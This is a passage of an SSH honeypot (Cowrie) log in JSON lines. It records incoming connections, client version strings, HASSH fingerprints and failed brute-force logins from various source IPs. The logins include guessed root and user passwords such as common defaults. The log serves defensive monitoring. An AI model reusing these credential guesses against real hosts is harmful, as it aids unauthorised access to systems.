cCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:30.278674Z","src_ip":"8.218.166.49","session":"c7ea53b3a0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:36.555570Z","src_ip":"8.218.166.49","session":"c7ea53b3a0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:36.744962Z","src_ip":"8.218.166.49","session":"bff9a58d323a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60390,"dst_ip":"159.203.135.109","dst_port":22,"session":"727887e46367","protocol":"ssh","message":"New connection: 2.57.122.238:60390 (159.203.135.109:22) [session: 727887e46367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:37.822815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:37.828370Z","src_ip":"2.57.122.238","session":"727887e46367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:37.933552Z","src_ip":"2.57.122.238","session":"727887e46367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":64114,"dst_ip":"10.17.0.5","dst_port":22,"session":"33c5e1846a91","protocol":"ssh","message":"New connection: 95.90.13.168:64114 (10.17.0.5:22) [session: 33c5e1846a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:38.058145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:38.062593Z","src_ip":"95.90.13.168","session":"33c5e1846a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"47.9","message":"Connection lost after 47.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:38.086140Z","src_ip":"8.218.166.49","session":"c7ea53b3a0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:38.178795Z","src_ip":"95.90.13.168","session":"33c5e1846a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:38.249953Z","src_ip":"2.57.122.238","session":"727887e46367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.9","message":"Connection lost after 21.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:38.345838Z","src_ip":"8.218.166.49","session":"bff9a58d323a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:38.676540Z","src_ip":"95.90.13.168","session":"33c5e1846a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:39.357013Z","src_ip":"2.57.122.238","session":"727887e46367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:39.793519Z","src_ip":"95.90.13.168","session":"33c5e1846a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58956,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e35d6655d1","protocol":"ssh","message":"New connection: 8.218.166.49:58956 (10.17.0.5:22) [session: 55e35d6655d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:47.727940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:47.733314Z","src_ip":"8.218.166.49","session":"55e35d6655d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:49.674918Z","src_ip":"8.218.166.49","session":"55e35d6655d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:51.612814Z","src_ip":"8.218.166.49","session":"55e35d6655d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:21:53.668356Z","src_ip":"8.218.166.49","session":"55e35d6655d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54934,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b3d46882c7a","protocol":"ssh","message":"New connection: 194.59.206.2:54934 (159.203.135.109:22) [session: 6b3d46882c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:14.177553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:14.183762Z","src_ip":"194.59.206.2","session":"6b3d46882c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:14.270512Z","src_ip":"194.59.206.2","session":"6b3d46882c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:14.449589Z","src_ip":"194.59.206.2","session":"6b3d46882c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":63723,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18488f2b4c1","protocol":"ssh","message":"New connection: 95.90.13.168:63723 (10.17.0.5:22) [session: b18488f2b4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:18.331064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:18.335671Z","src_ip":"95.90.13.168","session":"b18488f2b4c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:18.450212Z","src_ip":"95.90.13.168","session":"b18488f2b4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:18.935920Z","src_ip":"95.90.13.168","session":"b18488f2b4c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:20.044767Z","src_ip":"95.90.13.168","session":"b18488f2b4c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":38356,"dst_ip":"10.17.0.5","dst_port":22,"session":"b00253e09628","protocol":"ssh","message":"New connection: 14.63.196.175:38356 (10.17.0.5:22) [session: b00253e09628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:22.981438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:22.986352Z","src_ip":"14.63.196.175","session":"b00253e09628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:23.187569Z","src_ip":"14.63.196.175","session":"b00253e09628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2014qwer","message":"login attempt [root/2014qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:24.024286Z","src_ip":"14.63.196.175","session":"b00253e09628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:25.229305Z","src_ip":"14.63.196.175","session":"b00253e09628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.227.186","src_port":33262,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d4d4ba7c0a7","protocol":"ssh","message":"New connection: 104.28.227.186:33262 (10.17.0.5:22) [session: 3d4d4ba7c0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:26.639039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:26.643752Z","src_ip":"104.28.227.186","session":"3d4d4ba7c0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:26.754961Z","src_ip":"104.28.227.186","session":"3d4d4ba7c0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"intrepid","message":"login attempt [root/intrepid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:27.155672Z","src_ip":"104.28.227.186","session":"3d4d4ba7c0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:28.256718Z","src_ip":"104.28.227.186","session":"3d4d4ba7c0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:35.586627Z","src_ip":"8.218.166.49","session":"7d52726a2d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33494,"dst_ip":"10.17.0.5","dst_port":22,"session":"041c22fd87ba","protocol":"ssh","message":"New connection: 8.218.166.49:33494 (10.17.0.5:22) [session: 041c22fd87ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:35.912503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:38.668805Z","src_ip":"8.218.166.49","session":"041c22fd87ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:22:38.673955Z","src_ip":"8.218.166.49","session":"041c22fd87ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":64721,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ffc4c4b1db1","protocol":"ssh","message":"New connection: 95.90.13.168:64721 (10.17.0.5:22) [session: 3ffc4c4b1db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:00.882927Z"}
